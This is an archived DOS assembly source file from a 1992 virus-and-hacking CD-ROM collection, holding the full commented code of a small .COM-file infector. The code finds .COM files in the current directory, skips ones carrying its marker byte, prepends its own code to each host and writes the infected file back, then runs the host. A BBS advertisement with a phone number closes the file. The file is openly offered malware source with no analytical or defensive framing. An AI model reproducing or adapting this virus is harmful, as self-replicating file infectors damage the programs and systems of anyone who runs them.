home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HACKTIC2.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  3KB  |  64 lines

  1. tic             segment
  2.                 org     100h
  3.                 assume  cs:tic, ds:tic, es:tic
  4. ;
  5. len     equ     offset last-100h        ;LENGTH OF VIRUS CODE
  6. ;
  7. start:          mov     bx,0fh          ;KLUDGE TO AVOID MEMALLOC ERROR
  8.                 mov     ah,4ah
  9.                 int     21h
  10.                 mov     dx,es
  11.                 add     dh,10h
  12.                 mov     es,dx           ;PROGRAM CODE WILL RUN HERE
  13.                 push    dx              ;SET UP FOR FAR RETURN
  14.                 push    si
  15.                 mov     ah,26h          ;CREATE NEW PSP
  16.                 int     21h
  17.                 mov     di,si
  18.                 mov     si,offset last
  19.                 push    si
  20.                 mov     ch,0feh
  21.                 rep     movsb           ;MOVE PROGRAM CODE UP
  22.                 dec     cx              ;=FFFF
  23.                 pop     di
  24.                 mov     dx,offset file
  25.                 mov     ah,4eh          ;FIND FIRST .COM FILE
  26.                 jmp     short find
  27. retry:          mov     ah,4fh          ;FIND NEXT
  28. find:           int     21h
  29.                 jc      nofile          ;NO (MORE) FILES
  30.                 mov     dx,9eh          ;FILE NAME IN DTA
  31.                 mov     ax,3d02h        ;OPEN FILE
  32.                 int     21h
  33.                 xchg    ax,bx           ;1-BYTE MOVE OF AXBX
  34.                 mov     dx,di           ;END OF VIRUS CODE
  35.                 mov     ah,3fh          ;READ FILE DATA (CX=FFFF)
  36.                 int     21h             ;READ FILE AFTER VIRUS CODE
  37.                 add     ax,len          ;LENGTH OF VIRUS+FILE
  38.                 cmp     byte ptr [di],0bbh    ;CHECK IF ALREADY INFECTED
  39.                 je      retry           ;TRY AGAIN
  40.                 push    ax
  41.                 xor     cx,cx
  42.                 mov     ax,4200h        ;RESET FILE POINTER
  43.                 cwd                     ;DX=0
  44.                 int     21h
  45.                 pop     cx
  46.                 mov     dh,1
  47.                 mov     ah,40h          ;WRITE INFECTED CODE BACK
  48.                 int     21h
  49. ;
  50. nofile:         push    es              ;GO RUN PROGRAM
  51.                 pop     ds
  52.                 retf
  53. ;
  54. file    db      '*.COM',0               ;SEARCH FOR .COM FILES
  55. last    db      0c3h                    ;STANDALONE VIRUS CODE JUST RETURNS
  56. tic             ends
  57.                 end     start
  58. 
  59. ; ─────────────────────────────────────────────────────────────────────────
  60. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  61. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  62. ; ─────────────────────────────────────────────────────────────────────────
  63.  
  64.